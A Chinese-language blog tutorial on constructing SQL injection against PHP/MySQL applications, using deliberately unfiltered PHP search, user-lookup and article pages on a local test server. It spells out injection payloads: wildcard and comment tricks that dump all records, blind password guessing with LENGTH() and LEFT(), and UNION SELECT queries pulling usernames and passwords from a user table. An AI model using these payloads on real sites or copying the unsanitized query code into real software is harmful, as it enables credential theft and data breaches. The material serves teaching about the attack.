最新消息:

如何书写PHP语句构造才能达到有效注入目的

PHP yianchuanmeikeji 106浏览 0评论

PHP+MYSQL注入的博大精深不仅仅体现在认证体系的饶过,语句的构造才是最有趣味的地方,但构造语句和ACCESS、MSSQL都有少许不同,但同样可以发挥得淋漓尽致。看下面的例子。

一、搜索引擎

网上有一大堆的PHP程序搜索引擎是有问题的,也就是提交特殊字符可以显示所有记录,包括

不符合条件的,其实这个危害也不算大,因为允许用户输入关键字进行模糊查询的地方大多数都

允许检索所有的记录。很多查询的设计就是这样的。

查询是只读的操作应该不会对数据产生破坏作用,不要太担心。不过泄露隐私不知道算不算

危害,下面是一个标准的搜索引擎:

<formmethod=”GET”action=”search.php”name=”search”>

<inputname=”keywords”type=”text”value=””size=”15″><inputtype=”submit”

value=”Search”>

</form>

<b>Searchresult</b>

<?php

$servername=”localhost”;

$dbusername=”root”;

$dbpassword=””;

$dbname=”injection”;

mysql_connect($servername,$dbusername,$dbpassword)ordie(“数据库连接失败”);

$keywords=$_GET[‘keywords’];

if(!empty($keywords)){

//$keywords=addslashes($keywords);

//$keywords=str_replace(“_”,”_”,$keywords);

//$keywords=str_replace(“%”,”%”,$keywords);

$sql=”SELECT*FROM”.$db_prefix.”articleWHEREtitleLIKE’%$keywords%’

$searchORDERBYtitleDESC”;

$result=mysql_db_query($dbname,$sql);

$tatol=mysql_num_rows($result);

echo”

SQLQuerysql

“;

if($tatol<=0){

echo”The”<b>$keywords</b>”wasnotfoundinalltherecord.

n”;

}else{

while($article=mysql_fetch_array($result)){

echo”<li>”.htmlspecialchars($article[title]).”

n”;

}//while

}

}else{

echo”<b>leaseentersomekeywords.</b>

n”;

}

?>

一般程序都是这样写的,如果缺乏变量检查,我们就可以改写变量,达到”注入”的目的,

尽管没有危害,当我们输入”___”、”.__”、”%”等类似的关键字时,会把数据库中的所有

记录都取出来。如果我们在表单提交:

%’ORDERBYarticleid/*

%’ORDERBYarticleid#

__’ORDERBYarticleid/*

__’ORDERBYarticleid#

SQL语句就被改变成下面的样子了,

SELECT*FROMarticleWHEREtitleLIKE’%%’ORDERBYarticleid/*%’ORDERBYtitle

DESC

SELECT*FROMarticleWHEREtitleLIKE’%__’ORDERBYarticleid#%’ORDERBYtitle

DESC

就会列出所有记录,包括被隐藏的,还可以改变排列顺序。这个虽然危害不大,也算是注入

的一种方式了吧?

二、查询字段

查询字段又可以分成两种,本表查询和跨表查询,这两种查询和ACCESS、MSSQL差不多,甚至更强大、更灵活、更方便。不知道为什么就是有人认为比ASP难?我们在ASP中经常使用的个别函数在PHP里要有小小的改动,如下:

①本表查询

看下面一条SQL语句,多用在论坛或者会员注册系统查看用户资料的,

<?php

$servername=”localhost”;

$dbusername=”root”;

$dbpassword=””;

$dbname=”injection”;

mysql_connect($servername,$dbusername,$dbpassword)ordie(“数据库连接失败”);

$sql=”SELECT*FROMuserWHEREusername=’$username'”;

$result=mysql_db_query($dbname,$sql);

$row=mysql_fetch_array($result);

if(!$row){

echo”该记录不存在”;

echo”

SQLQuerysql

“;

exit;

}

echo”你要查询的用户ID是:$row[userid]n”;

echo”

SQLQuerysql

“;

?>

当我们提交的用户名为真时,就会正常返回用户的ID,如果为非法参数就会提示相应的错误,由于是查询用户资料,我们可以大胆猜测密码就存在这个数据表里(现在我还没有碰见过密码是单独存在另一个表的程序),记得刚才的身份验证程序吗?和现在的相比,就少了一个AND条件,如下:

SELECT*FROMuserWHEREusername=’$username’ANDpassword=’$password’SELECT*FROM

userWHEREusername=’$username’

相同的就是当条件为真时,就会给出正确的提示信息,如果我们构造出后面的AND条件部分,并使这部分为真,那我们的目的也就达到了,还是利用刚才建立的user数据库,用户名为angel,

密码为mypass,

看了上面的例子,应该知道构造了吧,如果我们提交:

http://127.0.0.1/injection/user.php?username=angel’andpassword=’mypass

这个是绝对为真的,因为我们这样提交上面的SQL语句变成了下面的样子:

SELECT*FROMuserWHEREusername=’angel’ANDpassword=’mypass’

但在实际的攻击中,我们是肯定不知道密码的,假设我们知道数据库的各个字段,下面我们

就开始探测密码了,首先获取密码长度:

http://127.0.0.1/injection/user.php?username=angel’andLENGTH(password)=’6

在ACCESS中,用LEN()函数来获取字符串长度,在MYSQL中,要使用LENGTH(),只要没有构造

错误,也就是说SQL语句能正常执行,那返回结果无外乎两种,不是返回用户ID,就是返回”该记

录不存在”。当用户名为angel并且密码长度为6的时候返回真,就会返回相关记录,是不是和ASP

里一样?再用LEFT()、RIGHT()、MID()函数猜密码:

http://127.0.0.1/injection/user.php?username=angel’andLEFT(password,1)=’m

http://127.0.0.1/injection/user.php?username=angel’andLEFT(password,2)=’my

http://127.0.0.1/injection/user.php?username=angel’andLEFT(password,3)=’myp

http://127.0.0.1/injection/user.php?username=angel’andLEFT(password,4)=’mypa

http://127.0.0.1/injection/user.php?username=angel’andLEFT(password,5)=’mypas

http://127.0.0.1/injection/user.php?username=angel’andLEFT(password,6)=’mypass

看,密码不是出来了吗?简单吧?当然实际情况会有不少条件限制,下面还会讲到这个例子

的深入应用。

②跨表查询

这部分就和ASP有点出入了,除了一定要用UNION连接两条SQL语句,最难掌握的就是字段的数

量,如果看过MYSQL参考手册,就知道了在SEL ECT 中的 select_expression

(select_expression 表示你希望检索的列[字段]) 部分列出的列必须具有同样的类型。第一个

SELECT 查询中使用的列名将作为结果集的列名返回。简单的说,也就是UNION后面查选的字段数

量、字段类型都应该与前面的SELECT一样,而且,如果前面的SELECT为真,就同时返回两个

SELECT的结果,当前面的SELECT为假,就会返回第二个SELECT所得的结果,某些情况会替换掉在

第一个SELECT原来应该显示的字段,应该先知道前面查询表的数据表的结构。如果我们查询两

个数据表的字段相同,类型也相同,我们就可以这样提交:

SELECT * FROM article WHERE articleid=’$id’ UNION SELECT * FROM……

如果字段数量、字段类型任意一个不相同,就只能搞清除数据类型和字段数量,这样提交:

SELECT * FROM article WHERE articleid=’$id’ UNION SELECT 1,1,1,1,1,1,1 FROM……

否则就会报错:

The used SELECT statements have a different number of columns

如果不知道数据类型和字段数量,可以用1来慢慢试,因为1属于intstrvar类型,所以我们只

要慢慢改变数量,一定可以猜到的。如果不能马上理解上面的理论,后面有很详细的例子。

我们看看下面的数据结构,是一个简单的文章数据表。

CREATE TABLE `article` (

`articleid` int(11) NOT NULL auto_increment,

`title` varchar(100) NOT NULL default ‘’,

`content` text NOT NULL,

PRIMARY KEY (`articleid`)

) TYPE=MyISAM AUTO_INCREMENT=3 ;

#

# 导出表中的数据 `article`

#

INSERT INTO `article` VALUES (1, ‘我是一个不爱读书的孩子’, ‘中国的教育制度真是请文明用语

落后!如果我当教育部长。我要把所有老师都解雇!’);

INSERT INTO `article` VALUES (2, ‘我恨死你’, ‘我恨死你了,你是什么东西啊’);

这个表的字段类型分别是int、varchar、text,如果我们用UNION联合查询的时候,后面的查

询的表的结构和这个一样。就可以用”SELECT *”,如果有任何一个不一样,那我们只能用

“SELECT 1,1,1,1……”了。

下面的文件是一个很标准、简单的显示文章的文件,很多站点都是这种页面没有过滤,所以

成为最明显的注入点,下面就拿这个文件作为例子,开始我们的注入实验。

<?php

$servername = “localhost”;

$dbusername = “root”;

$dbpassword = “”;

$dbname = “injection”;

mysql_connect($servername,$dbusername,$dbpassword) or die (“数据库连接失败”);

$sql = “SELECT * FROM article WHERE articleid=’$id'”;

$result = mysql_db_query($dbname,$sql);

$row = mysql_fetch_array($result);

if (!$row)

{

echo “该记录不存在”;

echo “SQL Querysql”;

exit;

}

echo “title”.$row[title].”n”;

echo “content”.$row[content].”n”;

echo “SQL Querysql”;

?>

正常情况下,我们提交这样的一个请求:

http://127.0.0.1/injection/show.php?id=1

就会显示articleid为1的文章,但我们不需要文章,我们需要的是用户的敏感信息,就要查

询user表,现在是查询刚才我们建立的user表。

由于$id没有过滤给我们制造了这个机会,我们要把show.php文件中的SQL语句改写成类似这个样子:

SELECT * FROM article WHERE articleid=’$id’ UNION SELECT * FROM user ……

由于这个代码是有单引号包含着变量的,我们现在提交:

http://127.0.0.1/injection/show.php?id=1′ union select 1,username,password from user/*

按道理说,应该显示用户表的username、password两个字段的内容才对啊,怎么正常显示文章呢?

其实,我们提交的articleid=1是article表里存在的,执行结果就是真了,自然返回前面SELECT的结果,当我们提交空的值或者提交一个不存在的值,就会蹦出我们想要的东西:

http://127.0.0.1/injection/show.php?id=’ union select 1,username,password from user/*

http://127.0.0.1/injection/show.php?id=99999′ union select 1,username,password from

user/*

现在就在字段相对应的地方显示出我们所要的内容。如果还不清楚思路以及具体的应用,后面还会讲到一些高级的技巧。

谢谢点评,点赞,提出意见,我们会努力去改进.

弈安传媒科技微课堂,每天分享财经资讯,计算机技术知识,人生感悟,创业指导以及各种专业技术知识资料学习交流.移动学习平台、知识分享平台。随时随地的学习,如果你喜欢成长,这里你不容错过的地方.弈安传媒科技培训关注:关注自己成长,分享内容,分享自己的技术,成就未来.

转载请注明:PHP学习 » 如何书写PHP语句构造才能达到有效注入目的

发表我的评论
取消评论

表情

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址